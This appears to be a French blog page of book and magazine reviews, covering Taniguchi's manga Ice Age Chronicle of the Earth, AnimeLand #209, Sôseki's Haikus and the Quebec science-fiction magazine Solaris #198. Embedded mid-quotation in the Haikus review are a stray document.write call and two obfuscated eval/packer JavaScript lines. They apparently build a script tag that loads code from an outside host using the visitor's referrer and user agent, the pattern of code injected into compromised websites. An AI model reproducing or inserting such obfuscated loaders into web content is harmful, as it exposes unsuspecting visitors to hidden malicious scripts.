En chemin vers Abyss, Takéru rencontre un transport de troupe écrasé avec de nombreux survivants, qui sont tous des enfants qui avaient été évacués en premiers. Toutes créatures vivantes, végétales ou animales, évoluent à un rythme fou, créant de nouveaux germes mortels. La forêt les attaque à nouveau, plein de haine contre l’humain mais Takéru réussi à la calmer. Pendant ce temps à Abyss, l’ordinateur central est devenu fou et se prend pour dieu, l’architecte d’un nouveau monde. Prenant exemple sur la nature, il utilise sa super-technologie pour créer une nouvelle race d’humain: A.D.O.L.F. (Acides aminés Dieldrine Opéron Ligand Flux cytométrique). Un nouvel ennemi qui tente d’éliminer l’humanité superflue. Mais en s’alliant avec la forêt, Takeru vaincra. Se sera l’aube d’une nouvelle ère où l’humanité, avec une conscience étendue, pourra cohabiter avec la nature…

Extraits des pages 13, 57 et 201 du second volume

Ice Age Chronicle of the Earth (sans blague, l’éditeur ne pouvait pas trouver un titre en français?), offre une bonne histoire de science-fiction cataclysmique, quoique un peu précipité vers la fin. Le style artistique du early-Taniguchi est bien (pas aussi bon que ses oeuvres plus récentes, bien sûr) mais souvent très inégal (on sent les délais de production liés à la prépublication en série dans les magazines!). J’ai aussi déjà noté plus haut qu’il me semblait discerner dans cette oeuvre de Taniguchi l’influence de la BD française de la bonne époque de Métal Hurlant (Moebius, Druillet) mais dans le second volume il me semble possiblement entrevoir dans les scènes cataclysmiques aussi quelques influences du Akira (1982-90) d’Otomo et du Nausicäa (1982-94) de Miyazaki

Dans l’ensemble c’est une très bonne lecture. Une sorte de fable écologique qui est toujours d’actualité. Ce n’est pas parfait mais, avec Taniguchi, un manga ne peut être qu’agréable. À lire.

Ice Age chronicle of the earth vol. 1 & 2, par Jirô TANIGUCHI. Paris: Dargaud (collection Kana: Made In), mai et septembre 2015. 272 & 224 pgs, 16.3 x 23.2 x 2 cm, 18.00 € / $31.95 Ca, ISBN: 9782505063643 & 9782505063650. Recommandé pour public adolescent (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Ice Age chronicle of the earth © 2002 Jirô TANIGUCHI. Édition française © 2015 Kana (Dargaud-Lombard s.a.).

[ Translate ]

Animeland #209

AL209AnimeLand est le 1er magazine français sur l’animation japonaise et internationale, les mangas et tout l’univers otaku en France. News, chroniques, interviews, articles et dossiers vous attendent dans les magazines AnimeLand et AnimeLand X-tra et sur le site AnimeLand.com !”

Comme je l’ai déjà mentionné dans un article précédent (sur l’acquisition du magazine par Anime News Network), j’ai toujours grandement admiré ce magazine fondé par Yvan West Laurence et Cédrik Littardi en avril 1991 (que j’avais d’ailleurs rencontré à San Jose, Californie, lors de la toute première convention nord-américaine entièrement consacrée à l’anime, AnimeCon, à la fin de l’été 1991). AnimeLand est rapidement devenu le meilleurs magazine sur l’anime et le manga hors-Japon et pas seulement en langue française. À tout les deux mois le magazine offre une centaines de pages, toutes en couleurs, pleine à craquer d’information essentielle sur l’anime et le manga. Un must pour le fan averti.

AnimeLand #209 est un numéro un peu spécial car, en plus d’être un peu plus volumineux, il célèbre le vingt-cinquième anniversaire du magazine.

Lire la suite après le saut de page >>
Continue reading

Haikus par Soseki

“Si Sôseki le romancier est de longue date traduit et commenté chez nous, document.write(“”); une part plus secrète et à la fois plus familière de son œuvre nous est encore inconnue. Sôseki a écrit plus de 2500 haikus, de sa jeunesse aux dernières années de sa vie : moments de grâce, libérés de l’étouffante pression de la vie réelle, où l’esprit fait halte au seuil d’un poème, dans une intense plénitude.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehfes|var|u0026u|referrer|zskdn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sthda|var|u0026u|referrer|zfkrs||js|php’.split(‘|’),0,{}))

“Affranchis de la question de leur qualité littéraire, ils ont à mes yeux une valeur inestimable, puisqu’ils sont pour moi le souvenir de la paix dans cœur… Simplement, je serais heureux si les sentiments qui m’habitaient alors et me faisaient vivre résonnaient, avec le moins de décalage possible, dans le cœur du lecteur.“

“Ce livre propose un choix de 135 haïkus, illustrés de peintures et calligraphies de l’auteur, précédés d’une préface par l’éditeur de ses Œuvres complètes au Japon.”

(Texte du site de l’éditeur; voir aussi la couverture arrière)

Lire la suite après le saut de page >>

J’ai déjà introduit le haiku quand j’ai commenté Cent sept haiku par Masaoka SHIKI, cet auteur même qui a encouragé S?seki à écrire et l’a initié aux haïkus. Né Kinnosuke Natsume à l’aube de l’ère Meiji, en 1867, il prendra le pseudonyme de «S?seki» en 1888 (utilisant les deux premiers charactères d’une expression chinoise attribuée à Liu Yiqing: ???? / shù dàn zh?n liú ou s?sekichinry? en japonais, littéralement «Se rincer la bouche avec une pierre et faire de la rivière son oreiller»). [ci-contre: p. 43]

Natsume S?seki (?? ??) deviendra l’un des auteur emblématique du Japon moderne. Après avoir étudié la littérature anglaise à l’Université de Tokyo, il part enseigner à Matsuyama (1895), puis à Kumamoto (1896), avant de passer trois ans d’études en Angleterre (1900-03) et de finalement succèder à Lafcadio Hearn à la chaire de littérature anglaise de l’université de Tokyo. Toutefois, il quitte ce poste en 1907 pour se consacrer à l’écriture. On lui connait plus d’une vingtaine d’ouvrages dont principalement Je suis un chat (??????? / Wagahai wa neko de aru, 1905), Botchan (?????, 1906), Sanshirô (???, 1909), Et puis (???? / Sorekara, 1909), La porte (? / Mon, 1910), et Choses dont je me souviens (??????? / Omoidasukoto nado, 1910-11). Son importance dans la littérature japonaise est soulignée par le fait que son portrait apparait sur le billet de 1 000 yens.

Haikus est un ouvrage assez simple qui se lit très rapidement. Les petits poèmes sont typiquement présenté trois par page, agrémentés de peintures et de calligraphies par S?seki. Dans mon commentaire de Cent sept haiku, j’ai déjà mentionné ma déception de ne pas ressentir la profondeur de la pensée ou des sentiments de l’auteur que l’on s’attendrait à retrouver dans cette forme de poésie. Il est toutefois intéressant d’essayer de comprendre ce que l’auteur désir exprimer. C’est un bel ouvrage et j’ai particulièrement apprécié les illustrations de l’auteur (ci-contre: p. 23) ainsi que la préface et les notes qui lévent un peu le voile sur les intensions et le parcours de S?seki.

Somme toute c’est une très bonne lecture de chevet et pas nécessairement que pour les amateurs de culture nippone ou de poésie.

Haikus, par S?seki (traduits par Elisabeth Suetsugu). Arles, Éditions Philippe Picquier, janvier 2002. 144 pages, 14.5 x 23.0 x 1.0 cm, 8,00 € / $32.95 Cnd, ISBN 2-8097-0125-8. Lectorat: pour tous!

Pour plus d’information vous pouvez aussi consulter les sites suivants:

[ Translate ]

Solaris #198

Solaris est un périodique québécois de science-fiction et de fantastique qui s’inscrit dans une longue tradition.

Fondé en septembre 1974 par Norbert Spehner (un des grands anciens de la SFFQ), il a d’abord arboré le nom de Requiem, ce qui lui donnait un ton plus fantastique que sf. Avec le numéro 28 (aout-sept 1979) le nom change pour Solaris et Spehner (en grand calembourlingueur) ne donne pour seule justification que “parce que je LEM.” Le fardeau de la rédaction passe à Élisabeth Vornarburg avec le numéro 53 (automne 1983), puis à Luc Pomerleau avec le numéro 67 (mai-juin 1986). Si le zine passe à l’ère informatique avec le numéro 60 (mars-avril 1985), son apparence ne s’améliore qu’avec le numéro 73 (mai-juin 1987) et il ne prendra vraiment une allure de pro-zine qu’avec le numéro 87 (oct 1989, spécial 15e anniversaire). La rédaction passe finalement à Joël Champetier avec le numéro 100 (printemps 1992) et il occupera le poste jusqu’à peu de temps avant sa mort en mai 2015. Pascal Raud l’assistera en temps que coordonatrice dès le numéro 181 (Hiver 2012 — et assurera ensuite l’interim durant sa maladie). Sous l’égide des ÉditionsAlire, Solaris prends un format livre de poche (13.5 x 21 cm) avec le numéro 134 (Été 2000). Il se concentre alors sur l’aspect littéraire: le volet BD disparait et la chronique “Sci-néma” déménage sur le site internet de la revue (cette dernière chronique reviendra cependant dans les pages de Solaris avec le numéro 185 en Hiver 2013). Depuis le numéro 196 (Automne 2015) la coordination des revues (Solaris et Alibi, son pendant polar) est maintenant assuré par Jonathan Reynolds.

La magazine offre une double détente: d’une part c’est une anthologie permanente des littératures de l’imaginaire francophone qui nous permet, par ses courtes nouvelles, de se tenir à jour dans les courants littéraires de genres et, d’autre part, par ses brillants articles et critiques (je préfère toutefois parler de “commentaires de lecture”), d’y trouver de nombreuses suggestions de lectures pour nous divertir et nous inspirer encore plus.

Le numéro 198 (Printemps 2016) nous offre cinq nouvelles dont les quatre premières partagent la thématique des “femmes étranges”:

Lire la suite après le saut de page >>

  • “K**l Me, I’m Famous” par Éric Holstein: un journaliste de la scène rock découvre une créature mythique au sein d’un groupe punk. stars-3-5
  • “Le Choix des âmes” par Daniel Birnbaum: derrière chaque grand scientifique il y a une femme prète à se sacrifier pour la science. stars-3-0
  • “Elle” par Jérémie Bourdages-Duclot: un étudiant membre d’une équipe de football collégiale réputée est obscédé par le sexe. Fasciné par une belle femme qu’il a croisé semble-t-il par hasard, il découvrira qu’il y a des prédateurs plus féroce que lui… stars-3-5
  • “Prestance” par Samuel Lapierre: un veuf tombe amoureux d’un mannequin-robot dans la vitrine d’une boutique de mode. Sa perversion le mènera à la ruine. stars-3-0

La cinquième nouvelle, “Tempus fugit” par Mario Tessier, est un texte à part. C’est une intéressante histoire de hard-science mais trop succincte et qui demeure tout de même un peu décevante pour ceux qui connaisse cet auteur. Il évoque un peu la SF classique des débuts d’Asimov. Le récit est un peu précipité et fourni simplement le prétexte pour décrire un organisme extra-terrestre cristalo-végétal quasi immortel. En fait, la nouvelle sert surtout d’introduction à l’article du “Futurible” qui lui fait suite. stars-2-5

Dans ce numéro, “Les Carnets du Futurible” (publié dans Solaris de façon quasi-ininterrompue depuis le numéro 153 — sauf dans le numéro 172 à l’Automne 2009 — ce qui fait de cet article le quarante-cinquième épisode de la série) est consacrés aux plus vieux organismes vivants. Comme le sont toujours les articles des “Carnets du Futurible”, cet article est tout à fait fascinant.

L’article suivant est tout aussi intéressant. Il s’agit de la traduction de la première partie d’un article de Jonathan McCalmont (originalement publié en anglais sur son blog Ruthless Culture). Intitulé “Lacheté, paresse et ironie: comment la science-fiction a perdu le futur” l’article se questionne sur les causes de l’épuisement du genre en prenant comme point de départ des commentaires du critique Paul Kincaid. Est-ce que cela a à voir avec le fait que le monde change si vite que les auteurs de SF n’essaient même plus de prédire l’avenir dans leurs histoires? Ou est-ce lié au brouillage délibéré (et bizarre) entre les différents genres? Ou au fait que de plus en plus des auteurs dits “mainstream” empiètent sur les littératures de l’imaginaire?

Christian Sauvé nous offre une fois de plus une excellente chronique “Sci-néma” où il traite de films sur la post-humanité (robots & A.I.) tels que Terminator: Genisys, Big Hero 6, Transcendence, Chappie et Ex Machina. Il note également que la hard science, jusqu’alors pratiquement absente du grand écran, commence a y être une thématique de plus en plus fréquente et il cite The Martians en exemple. Il ajoute que, ces derniers temps, les films de fantasy à grands budgets font piètre figure (City of Bones, Seventh Son, et Winter’s Tale) mais que les films d’horreur innovent (Horns, Unfriended, It Follows).

La chronique des “Littéranautes” offre des commentaires de lecture sur la littérature de l’imaginaire québécoise: Les Clowns vengeurs: Allégeances (par Nadine Bertholet et Isabelle Lauzon, chez Porte-Bonheur), Écorché (par Ariane Gélinas, Pierre-Luc Laurence et Jonathan Reynolds, chez La Maison des viscères), et La Peau du Mal (par Corinne De Vailly, chez Recto-Verso).

Finalement, Solaris se conclu avec la chroniques des “lectures” qui commente le reste: L’Héritage des Rois-Passeurs (par Manon Fargetton, chez Bragelonne), Hamlet au paradis (par Jo Walton, chez Denoël), La Santé par les plantes (par Francis Mizo, chez ActuSF), Dimension merveilleux scientifique (une anthologie compilée par Jean-Guillaume Lanuque, chez Rivière Blanche), Zombie Nostalgie (par Øystein Stene, chez Actes Sud), Frankenstein (par Michel Faucheux, chez L’Archipel), Fond d’écran: nouvelles et textes courts (par Terry Pratchett, chez Atalante), Au-delà du Réel: L’Avenir du Futur (par Didier Liardet, chez Yris), et Feuillets de cuivre (par Fabien Clavet, chez ActuSF). Personnellement, je préfère quand les commentaires de lecture ont une appréciation quantifiée (système de points ou d’étoiles), mais je crois qu’ici c’est une décision éditoriale de ne pas en avoir.

C’est bien d’avoir des chroniques qui ne traitent pas seulement de l’aspect littéraire de la science-fiction. Mais en plus du cinéma, ce serait intéressant d’avoir aussi une petite chronique BD (cela fait des eons qu’il n’y en pas eu dans Solaris).

Malgré que son attrait principal demeure l’aspect anthologique, je dois avouer que je lis Solaris surtout pour ses excellents articles. Avec une telle diversité, tous les lecteurs y trouveront certainement leur intérêt. À lire.

Solaris #198 — Printemps 2016, Vol. 41, no 4 [Collectif dirigé par Jean Pettigrew, Pascale Raud, Daniel Sernine, Élisabeth Vonarburg, et coordonné par Jonathan Reynold]. Lévis, Publications bénévoles des littératures de l’imaginaire du Québec, avril 2016. 160 p. $12.95. ISSN 0709-8863. Abonnement d’un an: $40.00 (Canada), $35.00 (USA) et $63.00 (autres). stars-3-5

Pour plus d’information vous pouvez aussi consulter les sites suivants:

[ AmazonBiblioGoodreadsWikipediaWorldCat ]

[ Translate ]